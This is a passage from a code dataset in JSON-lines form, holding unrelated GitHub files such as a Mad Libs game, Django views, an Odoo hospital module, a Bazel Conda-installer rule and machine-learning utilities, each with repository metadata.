#'gs.profile.password',\n","repo_name":"groupserver/gs.recipe.createtables","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70039920374","text":"import json\nimport os\n\n\nclass MadLibs:\n path = \"./templates\"\n def __init__(self, word_descriptions, template):\n self.template = template\n self.word_descriptions = word_descriptions\n self.user_input = []\n self.story = None\n\n @classmethod\n def from_json(cls, name, path=None):\n if not path:\n path = cls.path\n fpath = os.path.join(path, name)\n with open(fpath, \"r\") as f:\n data = json.load(f)\n mad_lib = cls(**data)\n return mad_lib\n\n def get_words_from_user(self):\n print(\"Please provide the following words: \")\n for desc in self.word_descriptions:\n ui = input(desc + \" \")\n self.user_input.append(ui)\n return self.user_input\n\n def build_story(self):\n self.story = self.template.format(*self.user_input)\n return self.story\n\n def show_story(self):\n print(story)\n\n\ndef select_template():\n print(\"Select a Mad Lib from the following list:\")\n templates = os.listdir(MadLibs.path)\n template = input(str(templates) + \" \")\n return template\n\n\ntemp_name = select_template()\n# temp_name = \"day_at_the_zoo.json\"\nmad_lib = MadLibs.from_json(temp_name)\nwords = mad_lib.get_words_from_user()\nstory = mad_lib.build_story()\nmad_lib.show_story()\n\n\n","repo_name":"kforti/python_projects","sub_path":"mad_libs_generator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"38507928656","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import get_user_model\nfrom service.models import Services, Order\n\n# Create your views here.\ndef search(request):\n if not request.user.is_authenticated:\n return redirect(\"users:login\")\n User = get_user_model()\n users = User.objects.all()\n userloc = [float(request.user.lat), float(request.user.long)]\n locations = []\n for i in users:\n temp = []\n if i.lat is None or i.long is None:\n print(i)\n continue\n temp.append(float(i.lat))\n temp.append(float(i.long))\n locations.append(temp)\n\n return render(\n request,\n \"map/locs.html\",\n context={\n \"base\": locations,\n \"user\": userloc,\n },\n )\n\n\ndef search_hardware(request):\n if not request.user.is_authenticated:\n return redirect(\"users:login\")\n User = get_user_model()\n users = User.objects.all()\n locations = []\n for i in users:\n temp = []\n if i.lat is None or i.long is None:\n print(i)\n continue\n temp.append(float(i.lat))\n temp.append(float(i.long))\n temp.append(i.first_name)\n temp.append(i.email)\n temp.append(i.street)\n locations.append(temp)\n userloc = [float(request.user.lat), float(request.user.long)]\n\n return render(\n request,\n \"map/locs_hardware.html\",\n context={\"base\": locations, \"user_loc\": userloc, \"users\": users},\n )\n","repo_name":"gcivil-nyu-org/S2022-Team-4-repo","sub_path":"home_fix/map/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"73742609973","text":"#Exercício Python 091: Crie um programa onde 4 jogadores joguem um dado e tenham resultados aleatórios. Guarde esses resultados em um dicionário em Python. No final, coloque esse dicionário em ordem, sabendo que o vencedor tirou o maior número no dado.\n\n#iniciando o programa\nprint('inicio do programa: ')\n\n#importando a biblioteca random:\nimport random\nimport time\nimport operator\nprint('Valores sorteados: ')\nranking = dict()\nres = {'jogador 1':random.randint(1,6), \n 'jogador 2':random.randint(1,6),\n 'jogador 3':random.randint(1,6),\n 'jogador 4':random.randint(1,6),\n 'jogador 5':random.randint(1,6),\n 'jogador 1':random.randint(1,6)}\nfor v,k in res.items():\n print('o {} tirou o dado: {}'.format(v,k))\n time.sleep(1)\nprint('{}'.format('-='*20))\n\nranking = sorted(res.items(), key = operator.itemgetter(1), reverse=True)\nfor v,k in enumerate(ranking):\n print('o {} colocado foi {} com o valor de {}'.format(v+1,k[0],k[1]))\n time.sleep(1)\n","repo_name":"emersontop/python3","sub_path":"exercicios/ex091.py","file_name":"ex091.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34646619354","text":"last, rows = [int(a) for a in input().split()]\r\nRows = [0] * rows\r\nDict = {}\r\nfor x in range(rows):\r\n Pair = input().split()\r\n if len(Pair[0]) > len(Pair[1]):\r\n Min = Pair[1]\r\n else:\r\n Min = Pair[0]\r\n Dict[Pair[0]] = Min\r\n Dict[Pair[1]] = Min\r\nWords = input().split()\r\nfor word in Words:\r\n print(Dict[word], end = \" \")","repo_name":"Chacon-Miguel/CodeForces-Solutions","sub_path":"lecture.py","file_name":"lecture.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4800921493","text":"#!/usr/bin/env python3\n\nimport sys\nfrom kafka import KafkaConsumer\n\nif len(sys.argv) == 3 and sys.argv[1].find(':'):\n server = sys.argv[1]\n topic = sys.argv[2]\nelse :\n print('Usage python3 consumer.py <server:port> <topic>')\n sys.exit()\n\ngroup_id = 'group1'\n\nprint(sys.argv[1])\n\nprint('Connecting to Kafka')\nconsumer = KafkaConsumer(topic,\n group_id=group_id,\n bootstrap_servers=[server],\n auto_offset_reset='earlieast')\nprint('Connected to Kafka')\n\ntry:\n for message in consumer:\n data = message.value.decode('utf-8',errors=\"ignore\")\n print(data)\n\nexcept KeyboardInterrupt:\n sys.exit()\n","repo_name":"packa30/FIT_MIT","sub_path":"PDI/projekt/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10595837851","text":"import numpy as np\nfrom keras.preprocessing.text import Tokenizer\n\n\n\ndef load_arrays(filename):\n file = open(filename, \"rb\")\n cases = np.load(file, allow_pickle=True)\n summaries = np.load(file, allow_pickle=True)\n file.close()\n return cases, summaries\n\n\ndef min_max_seq(sequences):\n max_seq_len = 0\n min_seq_len = 10e6\n\n for elem in sequences:\n if len(elem) > max_seq_len:\n max_seq_len = len(elem)\n\n if len(elem) < min_seq_len:\n min_seq_len = len(elem)\n\n return min_seq_len, max_seq_len\n\n\ndef tokenize(input_arrays, target_arrays, vocab_size=15000):\n # input_length = len(input_arrays)\n # target_length = len(target_arrays)\n # tokenized_inputs = np.empty(input_length, dtype=object)\n # tokenized_outputs = np.empty(target_length, dtype=object)\n\n tokenizer = Tokenizer(num_words=vocab_size)\n tokenizer.fit_on_texts(input_arrays + target_arrays)\n\n tokenized_inputs = tokenizer.texts_to_sequences(input_arrays)\n tokenized_outputs = tokenizer.texts_to_sequences(target_arrays)\n\n vocab = tokenizer.word_index\n x = {\"PAD\": 0}\n vocab.update(x)\n reverse_vocab = dict(zip(vocab.values(), vocab.keys()))\n print('Found %s unique tokens.' % len(vocab))\n\n return tokenized_inputs, tokenized_outputs, vocab, reverse_vocab\n\n\ndef reverse_tokenize(tokenized_array, reverse_vocab):\n result = []\n for item in tokenized_array:\n try:\n result.append(reverse_vocab[item])\n except KeyError:\n result.append(\"UNK\")\n\n return result\n","repo_name":"JJWasyl/LexSum","sub_path":"neurotic/utility/TexRact.py","file_name":"TexRact.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40945571778","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError\n\nclass SalesOrderInherit(models.Model):\n _inherit = 'sale.order'\n patient_name = fields.Char(string=\" Patient Name\")\n\nclass HospitalPatient(models.Model):\n _name = 'hospital.patient'\n #chatter\n _inherit = ['mail.thread', 'mail.activity.mixin']\n\n _description = 'Patient record'\n _rec_name = 'patient_name'\n\n @api.constrains('patient_age')\n def _check_age(self):\n for rec in self:\n if rec.patient_age <= 5:\n raise ValidationError(_('The age must be greater than 5'))\n\n @api.depends('patient_age')\n def set_age_group(self):\n for rec in self:\n if rec.patient_age < 18:\n rec.age_group = 'minor'\n else:\n rec.age_group = 'major'\n\n\n def open_patient_appointments(self):\n return {\n 'name': _('Appointments'),\n 'domain': [('patient_id', '=', self.id)],\n 'view_type': 'form',\n 'res_model': 'hospital.appointment',\n 'view_id': False,\n 'view_mode': 'tree,form',\n 'type': 'ir.actions.act_window',\n }\n def get_appointment_count(self):\n count = self.env['hospital.appointment'].search_count([\n ('patient_id', '=', self.id)])\n self.appointment_count = count\n\n patient_name = fields.Char(string=\"Name\", required=True,\n help=\"Name of the patient\")\n patient_age = description = fields.Integer(string=\"Age\",\n track_visibility=\"always\")\n notes = fields.Text(string=\"Notes\")\n image = fields.Binary(string=\"Image\")\n name = fields.Char(string=\"Test\")\n appointment_count = fields.Integer(string='Appointment',\n compute='get_appointment_count')\n name_seq = fields.Char(string='Order Reference',\n required=True,\n copy=False,\n readonly=True,\n index=True,\n default='New')\n\n gender = fields.Selection([('male', 'Male'),('fe_male','Female'),],\n default='male', string='Gender')\n\n age_group = fields.Selection([('major', 'Major'), ('minor','Minor'),\n ], string=\"Age Group\", compute='set_age_group')\n\n @api.model\n def create(self, vals):\n if vals.get('name_seq', 'New') == 'New':\n vals['name_seq'] = self.env['ir.sequence'].next_by_code(\n 'hospital.patient.sequence') or 'New'\n result = super(HospitalPatient, self).create(vals)\n return result","repo_name":"rsanchezfloresx/openacademy","sub_path":"om_hospital/models/patient.py","file_name":"patient.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30661182602","text":"import os\n\nimport timm\nfrom torchvision.models import resnet50, ResNet50_Weights, convnext_base, ConvNeXt_Base_Weights, efficientnet_b0, EfficientNet_B0_Weights\n\nfrom ..models import *\n\ndef load_model(model_name, checkpoint_dir=None, domain=None):\n if model_name == 'Hendrycks2020AugMix_ResNeXt':\n model = Hendrycks2020AugMixResNeXtNet()\n if checkpoint_dir is not None:\n checkpoint_path = os.path.join(checkpoint_dir, 'Hendrycks2020AugMix_ResNeXt.pt')\n if not os.path.exists(checkpoint_path):\n raise ValueError('No checkpoint found at {}'.format(checkpoint_path))\n model.load_state_dict(torch.load(checkpoint_path))\n else:\n raise ValueError('No checkpoint path provided')\n elif model_name == 'resnet50':\n model = resnet50(weights=ResNet50_Weights.IMAGENET1K_V1)\n elif model_name == 'WideResNet':\n model = WideResNet()\n if checkpoint_dir is not None:\n checkpoint_path = os.path.join(checkpoint_dir, 'WideResNet.pt')\n if not os.path.exists(checkpoint_path):\n raise ValueError('No checkpoint found at {}'.format(checkpoint_path))\n model.load_state_dict(torch.load(checkpoint_path))\n else:\n raise ValueError('No checkpoint path provided')\n # elif 'domainnet126' == model_name:\n # # domain = model_name.split('_')[-1]\n # feature_extractor = models.domainnet126G(domain=domain, pretrained=True)\n # classifier = models.domainnet126C(domain=domain, pretrained=True)\n # model = torch.nn.Sequential(feature_extractor, classifier)\n # elif 'officehome' == model_name:\n # feature_extractor = models.officehomeG(pretrained=True)\n # classifier = models.officehomeC(domain=domain, pretrained=True)\n # model = torch.nn.Sequential(feature_extractor, classifier)\n elif model_name == 'officehome_shot':\n model= OfficeHome_Shot()\n if checkpoint_dir is not None:\n checkpoint_path = os.path.join(checkpoint_dir,'officehome',domain, 'model.pt')\n if not os.path.exists(checkpoint_path):\n raise ValueError('No checkpoint found at {}'.format(checkpoint_path))\n model.load_state_dict(torch.load(checkpoint_path))\n elif model_name == 'domainnet126_shot':\n model= DomainNet126_Shot()\n if checkpoint_dir is not None:\n checkpoint_path = os.path.join(checkpoint_dir,'domainnet126',domain, 'model.pt')\n if not os.path.exists(checkpoint_path):\n raise ValueError('No checkpoint found at {}'.format(checkpoint_path))\n model.load_state_dict(torch.load(checkpoint_path))\n elif model_name == 'vit':\n model=timm.create_model('vit_base_patch16_224', pretrained=True)\n elif model_name == 'convnext_base':\n model=convnext_base(weights=ConvNeXt_Base_Weights.DEFAULT)\n elif model_name == 'efficientnet_b0':\n model=efficientnet_b0(weights=EfficientNet_B0_Weights.DEFAULT)\n else:\n raise ValueError('Unknown model name')\n\n return model\n","repo_name":"yuyongcan/Benchmark-TTA","sub_path":"src/models/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"21"} +{"seq_id":"40119171494","text":"# 创建自己的数据集, 集成自pytorch的dataset类, 必须实现__len__和__getitem__\r\nimport os\r\n\r\nimport torch\r\nimport numpy as np\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom torchvision import transforms\r\nimport cv2 as cv\r\n\r\n# CR 裂纹 crackle\r\n# In 夹杂 inclusion\r\n# SC 划痕 scratch\r\n# PS 压入氧化皮 press in oxide scale\r\n# RS 麻点\r\n# PA 斑点\r\ndefect_labels = ['In', 'Sc', 'Cr', 'PS', 'RS', 'Pa']\r\n\r\n\r\nclass SurfaceDefectDataset(Dataset):\r\n def __init__(self, root_dir):\r\n self.transform = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\r\n std=[0.229, 0.224, 0.225]),\r\n transforms.Resize((200, 200))\r\n ])\r\n img_files = os.listdir(root_dir)\r\n self.defect_types = []\r\n self.images = []\r\n for file_name in img_files:\r\n # 以下划线分割文件名\r\n defect_class = file_name.split('_')[0]\r\n defect_index = defect_labels.index(defect_class)\r\n self.images.append(os.path.join(root_dir, file_name))\r\n self.defect_types.append(defect_index)\r\n\r\n def __len__(self):\r\n return len(self.images)\r\n\r\n def __getitem__(self, idx):\r\n image_path = self.images[idx]\r\n img = cv.imread(image_path) # BGR\r\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\r\n sample = {'image': self.transform(img), 'defect': self.defect_types[idx]}\r\n return sample\r\n\r\n\r\nif __name__ == '__main__':\r\n ds = SurfaceDefectDataset(r'C:\\Users\\Administrator\\Desktop\\data\\deep_learning\\enu_surface_defect\\train')\r\n print(len(ds))\r\n print(ds[0]['image'].shape, ds[0]['defect'])\r\n dl = DataLoader(ds, batch_size=8, shuffle=True, num_workers=8)\r\n sample = next(iter(dl))\r\n print(type(sample))\r\n print(sample['image'].shape)","repo_name":"Zhaokaixlx/python_study","sub_path":"pythonProject/deep_learning/my_dataset.py","file_name":"my_dataset.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"32013259998","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nimport sys\nimport os\n\nindentsize = int(sys.argv[1].split('=')[1])\n\nline = sys.stdin.readline()\nindent = 0\nnextindent = 0\nlast_line = None\nin_code_block = False\nblock_indent = 0\nnext_block_indent = 0\nwhile line:\n line = line.strip()\n prefix = ''\n if not in_code_block:\n comment_pos = line.find('--')\n if comment_pos >= 0:\n pc = line[:comment_pos]\n comments = line[comment_pos:]\n else:\n pc = line\n comments = ''\n if '[[' in pc:\n codeblock_pos = pc.find('[[')\n pc = pc[:codeblock_pos]\n comments = pc[codeblock_pos:]\n in_code_block = True\n block_indent = 0\n next_block_indent = 1\n if in_code_block:\n if ']]' in line:\n codeblock_end = line.find(']]') + 2\n prefix = line[:codeblock_end]\n pc = line[codeblock_end:]\n in_code_block = False\n comments = ''\n else:\n pc = ''\n comments = line\n if(comments.startswith('if') or comments.startswith('for ') or comments.startswith('while') or comments.startswith('function')\n or comments.startswith('local function') or comments.find(' = function(') >= 0):\n next_block_indent += 1\n elif comments.startswith('elseif') or comments.startswith('else'):\n block_indent -= 1\n if comments.startswith('end') or comments.endswith('end'):\n block_indent -= 1\n indent += block_indent\n block_indent = next_block_indent\n pcs = pc.strip()\n if(pcs.startswith('if') or pcs.endswith(' do') or pcs == 'do' or pcs.startswith('function')\n or pcs.startswith('local function') or pcs.find(' function(') >= 0 or pcs.find('=function(') >= 0):\n nextindent += 1\n elif pcs.startswith('elseif') or pcs.startswith('else'):\n indent -= 1\n if pcs.startswith('end') or pcs.endswith('end'):\n indent -= 1\n nextindent -= 1\n # handle brackets...\n excess_brackets = pc.count('(') + pc.count('{') - pc.count(')') - pc.count('}')\n nextindent += excess_brackets\n if excess_brackets < 0 and (pc[0] == ')' or pc[0] == '}'):\n indent = nextindent\n sys.stdout.write(' ' * (indentsize * indent) + prefix + pc + comments + '\\n')\n indent = nextindent\n last_line = line\n line = sys.stdin.readline()\nif last_line != '':\n sys.stdout.write('\\n')\n\n","repo_name":"hughperkins/lua-smudger","sub_path":"lua_indents.py","file_name":"lua_indents.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42117626212","text":"#coding:gbk\n# 给张老师做的几个\n\nimport os\nimport MySQLdb\n\nfor dbid in range(2009, 2012):\n\n # global db connection\n conn = MySQLdb.Connect(\"localhost\", \"root\", \"root\", \"rate\")\n cur = conn.cursor()\n \n rootdir = \"D:\\\\Work\\\\temp\\\\1020\\\\\"\n \n subdir = rootdir + str(dbid) + \"\\\\\"\n \n # create the database_info\n sql = 'delete from database_info where database_id = %d' % dbid\n cur.execute(sql)\n sql = 'insert into database_info (database_id, uuid, name, type, create_time, root_dir, info, deleted) values (%d, uuid(), \"%d for Mr. Zhang\", 5, current_timestamp, \"%d\", \"\", current_timestamp)' % (dbid, dbid, dbid)\n cur.execute(sql)\n cur.execute('commit')\n \n # search the dir and create classes and samples\n for d in os.listdir(subdir):\n sql = 'select max(class_id) from classes'\n cur.execute(sql)\n cid = int(cur.fetchone()[0]) + 1\n sql = 'insert into classes (class_id, uuid, database_id, info, creater, name, type, create_time) values (%d, uuid(), %d, \"created for Mr.Zhang\", \"yyk\", \"unnamed\", 5, current_timestamp)' % (cid, dbid)\n cur.execute(sql)\n cur.execute('commit')\n \n for s in os.listdir(subdir+d):\n sql = 'select max(sample_id) from samples'\n cur.execute(sql)\n sid = int(cur.fetchone()[0]) + 1\n filepath = str(dbid)+\"\\\\\"+d+\"\\\\\"+s\n filepath = filepath.replace('\\\\', '\\\\\\\\')\n sql = 'insert into samples (sample_id, uuid, class_id, database_id, type, create_time, file, info, creater, quality) values ' \\\n + '(%d, uuid(), %d, %d, 5, current_timestamp, \"%s\", \"created for Mr. Zhang\", \"yyk\", 1)' \\\n % (sid, cid, dbid, filepath)\n cur.execute(sql)\n cur.execute('commit')\n","repo_name":"roywelkins/sync2","sub_path":"rateutil/import1.py","file_name":"import1.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38790319479","text":"import time\nimport timeit\n\n\ndef main_func(name=\"one\"):\n print(\"This is a main function\")\n\n def sub_func1():\n print(\"/t first sub function\")\n\n def sub_func2():\n print(\"/t second sub function\")\n\n if name == \"one\":\n return sub_func1\n else:\n return sub_func2\n\n\nstart_time = time.time()\nfunctionAssignment = main_func(name=\"one\")\nfunctionAssignment()\nend_time = time.time()\n# calculate how much time used to execute this function\ntime_spend = end_time - start_time\nprint(\"Times consumed is\", time_spend)\n\n# FUNCTION DECORATOR eXAMPLE\nprint(\"FUNCTION DECORATOR EXAMPLE\")\n\n\ndef new_decorator(original_func):\n def wrap_func():\n print(\"some code before decorate function\")\n original_func()\n print(\"some code after decorate function\")\n\n return wrap_func\n\n\ndef arg_func():\n print(\"This is a argument function\")\n\n\ndecorator1 = new_decorator(arg_func)\nprint(\"\\t \\t call decorator\")\ndecorator1()\n\nprint(\"\\n\\n\\t ORGINAL APPLYING DECORATOR\")\n\n\n# ORGINAL APPLYING DECORATOR\n@new_decorator\ndef newfunc():\n print(\"This is a ORGINAL APPLYING DECORATOR\")\n\n\nstart_time = time.time()\nnewfunc()\nend_time = time.time()\n# calculate how much time used to execute this function\ntime_spend = end_time - start_time\nprint(\"Times consumed for decorator function is\", time_spend)\n\n\ndef func_square():\n for i in range(10):\n print(\"squrae of the number is\", i**2)\n\n\nstart_time = time.time()\nfunc_square()\nend_time = time.time()\n# calculate how much time used to execute this function\ntime_spend = end_time - start_time\nprint(\"Times consumed for square function is\", time_spend)\n\nsetup = \"\"\"\ndef func_one(n):\n return [str(num) for num in range(n)]\n\"\"\"\nstmt = \"func_one(100)\"\nprint(\"Time consumed in timeit\", timeit.timeit(stmt, setup, number=100), \"Micro second\")\n","repo_name":"Sahira-m/Python","sub_path":"decorator/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35531234015","text":"load(\":utils.bzl\", \"CONDA_EXT_MAP\", \"EXECUTE_TIMEOUT\", \"INSTALLER_SCRIPT_EXT_MAP\", \"execute_waitable_windows\", \"get_arch\", \"get_os\", \"windowsify\")\n\n# CONDA CONFIGURATION\nCONDA_MAJOR = \"3\"\nCONDA_MINOR = \"py39_4.12.0\"\nCONDA_SHA = {\n \"Windows\": {\n \"x86_64\": \"1acbc2e8277ddd54a5f724896c7edee112d068529588d944702966c867e7e9cc\",\n \"x86\": \"4fb64e6c9c28b88beab16994bfba4829110ea3145baa60bda5344174ab65d462\",\n },\n \"MacOSX\": {\n \"x86_64\": \"007bae6f18dc7b6f2ca6209b5a0c9bd2f283154152f82becf787aac709a51633\",\n \"arm64\": \"4bd112168cc33f8a4a60d3ef7e72b52a85972d588cd065be803eb21d73b625ef\",\n },\n \"Linux\": {\n \"x86_64\": \"78f39f9bae971ec1ae7969f0516017f2413f17796670f7040725dd83fcff5689\",\n \"aarch64\": \"5f4f865812101fdc747cea5b820806f678bb50fe0a61f19dc8aa369c52c4e513\",\n \"ppc64le\": \"1fe3305d0ccc9e55b336b051ae12d82f33af408af4b560625674fa7ad915102b\",\n \"s390x\": \"ff6fdad3068ab5b15939c6f422ac329fa005d56ee0876c985e22e622d930e424\",\n },\n}\nCONDA_INSTALLER_NAME_TEMPLATE = \"Miniconda{major}-{minor}-{os}-{arch}{ext}\"\nCONDA_BASE_URL = \"https://repo.anaconda.com/miniconda/\"\n\nMINIFORGE_MAJOR = \"3\"\nMINIFORGE_MINOR = \"4.12.0-2\"\nMINIFORGE_SHA = {\n \"Windows\": {\n \"x86_64\": \"39c71fa902188edaf8c90a9868e6b76fb9d3f08c4d5c48c8077054b8e0aa5417\",\n },\n \"MacOSX\": {\n \"x86_64\": \"37007407ab504fb8bd3af68ff821c0819ad2f016087b9c45f1e95a910c92531e\",\n \"arm64\": \"24181b1a42c6bb9704e28ac4ecb234f3c86d882a7db408948692bc5792a2f713\",\n },\n \"Linux\": {\n \"x86_64\": \"e8bd60572d1bdcd9fc16114f423653c95e02f0be1393383f77fba17cf8acb10e\",\n \"aarch64\": \"507c9763942821d7541b5a1b1130545e4c19416cc0473054faa10fee435aa9fa\",\n \"ppc64le\": \"447d1729353189ba732e951b598d5b9ea4ab46296db4523ac34a775150a60199\",\n },\n}\n\nMINIFORGE_INSTALLER_NAME_TEMPLATE = \"{minor}/Miniforge{major}-{minor}-{os}-{arch}{ext}\"\nMINIFORGE_BASE_URL = \"https://github.com/conda-forge/miniforge/releases/download/\"\n\nINSTALLER_DIR = \"installer\"\nINSTALLER_FLAGS = {\n \"Windows\": [\"/InstallationType=JustMe\", \"/AddToPath=0\", \"/RegisterPython=0\", \"/S\", \"/D={}\"],\n \"MacOSX\": [\"-b\", \"-f\", \"-p\", \"{}\"],\n \"Linux\": [\"-b\", \"-f\", \"-p\", \"{}\"],\n}\n\nCONDA_BUILD_FILE_TEMPLATE = \"\"\"# This file was automatically generated by rules_conda\n\nexports_files(['{conda}'])\n\"\"\"\n\ndef _get_installer_flags(rctx, dir):\n os = get_os(rctx)\n flags = INSTALLER_FLAGS[os]\n\n # insert directory\n dir = rctx.path(dir)\n if os == \"Windows\":\n dir = windowsify(dir)\n return flags[:-1] + [flags[-1].format(dir)]\n\n# download conda installer\ndef _download_conda(rctx):\n rctx.report_progress(\"Downloading conda installer\")\n os = get_os(rctx)\n arch = get_arch(rctx)\n ext = INSTALLER_SCRIPT_EXT_MAP[os]\n\n if rctx.attr.installer == \"miniconda\":\n url = CONDA_BASE_URL + CONDA_INSTALLER_NAME_TEMPLATE.format(major = CONDA_MAJOR, minor = CONDA_MINOR, os = os, arch = arch, ext = ext)\n sha = CONDA_SHA\n elif rctx.attr.installer == \"miniforge\":\n url = MINIFORGE_BASE_URL + MINIFORGE_INSTALLER_NAME_TEMPLATE.format(major = MINIFORGE_MAJOR, minor = MINIFORGE_MINOR, os = os, arch = arch, ext = ext)\n sha = MINIFORGE_SHA\n else:\n fail(\"Installer must be either miniconda or miniforge.\")\n\n output = \"{}/install{}\".format(INSTALLER_DIR, ext)\n\n # download from url to output\n rctx.download(\n url = url,\n output = output,\n sha256 = sha[os][arch],\n executable = True,\n )\n return output\n\n# install conda locally\ndef _install_conda(rctx, installer):\n rctx.report_progress(\"Installing conda\")\n os = get_os(rctx)\n installer_flags = _get_installer_flags(rctx, rctx.attr.conda_dir)\n args = [rctx.path(installer)] + installer_flags\n\n # execute installer with flags adjusted to OS\n if os == \"Windows\":\n # TODO: fix always returning 0\n # it seems that either miniconda installer returns 0 even on failure or the wrapper does something wrong\n # also stdout and stderr are always empty\n result = execute_waitable_windows(rctx, args, quiet = rctx.attr.quiet, environment = {\"CONDA_DLL_SEARCH_MODIFICATION_ENABLE\": \"\"}, timeout = rctx.attr.timeout)\n else:\n result = rctx.execute(args, quiet = rctx.attr.quiet, timeout = rctx.attr.timeout)\n\n if result.return_code:\n fail(\"Failure installing conda.\\nstdout: {}\\nstderr: {}\".format(result.stdout, result.stderr))\n return \"{}/condabin/conda{}\".format(rctx.attr.conda_dir, CONDA_EXT_MAP[os])\n\ndef _install_mamba(rctx, executable):\n rctx.report_progress(\"Installing mamba\")\n mamba_with_version = \"mamba={}\".format(rctx.attr.mamba_version)\n\n # `-n base` is necessary so that mamba is installed to the conda in the bazel cache.\n # If we omit `-n base`, then mamba can get installed to the user's environment i.e. ~/anaconda3 which breaks\n # the hermetic nature of the build.\n args = [rctx.path(executable), \"install\", \"-n\", \"base\", \"-c\", \"conda-forge\", mamba_with_version, \"-y\"]\n result = rctx.execute(args, quiet = rctx.attr.quiet, working_directory = rctx.attr.conda_dir, timeout = rctx.attr.timeout)\n if result.return_code:\n fail(\"Failure when installing mamba.\\nstdout: {}\\nstderr: {}\".format(result.stdout, result.stderr))\n\n# use conda to update itself\ndef _update_conda(rctx, executable):\n conda_with_version = \"conda={}\".format(rctx.attr.conda_version)\n args = [rctx.path(executable), \"install\", conda_with_version, \"-y\"]\n\n # update conda itself\n result = rctx.execute(args, quiet = rctx.attr.quiet, working_directory = rctx.attr.conda_dir, timeout = rctx.attr.timeout)\n if result.return_code:\n fail(\"Failure updating conda.\\nstdout: {}\\nstderr: {}\".format(result.stdout, result.stderr))\n\n# create BUILD file with exposed conda binary\ndef _create_conda_build_file(rctx, executable):\n conda = \"{}/{}\".format(rctx.attr.conda_dir, executable)\n rctx.file(\n \"BUILD\",\n content = CONDA_BUILD_FILE_TEMPLATE.format(conda = conda),\n )\n\ndef _load_conda_impl(rctx):\n installer = _download_conda(rctx)\n conda_executable = _install_conda(rctx, installer)\n _update_conda(rctx, conda_executable)\n if rctx.attr.install_mamba:\n _install_mamba(rctx, conda_executable)\n _create_conda_build_file(rctx, conda_executable)\n\nload_conda_rule = repository_rule(\n _load_conda_impl,\n attrs = {\n \"conda_dir\": attr.string(mandatory = True),\n \"conda_version\": attr.string(\n mandatory = True,\n doc = \"Conda version to install\",\n ),\n \"installer\": attr.string(\n default = \"miniconda\",\n doc = 'Installer to use, either \"miniconda\" or \"miniforge\". Note that miniconda and miniforge have different OS/arch support.',\n ),\n \"install_mamba\": attr.bool(\n default = False,\n doc = \"False if mamba should not be installed\",\n ),\n \"mamba_version\": attr.string(\n mandatory = True,\n doc = \"Mamba version to install\",\n ),\n \"quiet\": attr.bool(\n default = True,\n doc = \"False if conda output should be shown\",\n ),\n \"timeout\": attr.int(\n default = EXECUTE_TIMEOUT,\n doc = \"Timeout in seconds for each execute action\",\n ),\n },\n)\n","repo_name":"spietras/rules_conda","sub_path":"src/conda.bzl","file_name":"conda.bzl","file_ext":"bzl","file_size_in_byte":7314,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"14411729192","text":"import numpy as np\nfrom file_import import file_import\nfrom nearest_points import nearest_points_naive_sup\nfrom nearest_points import nearest_points_naive_l1\nfrom nearest_points import nearest_points_opt_l1\nfrom nearest_points import nearest_points_opt_sup\nimport time\nimport csv\n\n\ndef classify(file_name, KSET, l):\n tic = time.time()\n k_max = max(KSET)\n test = file_import(file_name + \".test.csv\") # Vollständiges Array; Enthält Klassifikation\n train = file_import(file_name + \".train.csv\") # dito\n n = train.shape[0] # Anzahl Punkte\n m = train.shape[1] # Anzahl Dimensionen; Beachte: Enthält die Klassifikation\n index_array = np.zeros((n, k_max), dtype=int) # Enthält alle Indizes der k_max nächsten Nachbarn aller Punkte\n block_size = n // l # Größe der D_i\n D_i_array = np.zeros((l, block_size, m)) # Zu untersuchende Punkte von train\n D_strich_i_array = np.zeros((l, block_size * (l - 1), m)) # Zu vergleichende Punkte von train\n for i in range(l):\n # Erzeuge alle benötigten Arrays an Punkten, i wird in der ersten Koordinate dieser Arrays indiziert\n D_i_array[i] = train[i * block_size:(i + 1) * block_size, :]\n lower_points = train[0:i * block_size, :]\n upper_points = train[(i + 1) * block_size:l * block_size, :]\n D_strich_i_array[i] = np.vstack((lower_points, upper_points))\n toc = time.time()\n print(\"Initialisierung : %.10f seconds\" % (toc - tic))\n tic = time.time()\n for i in 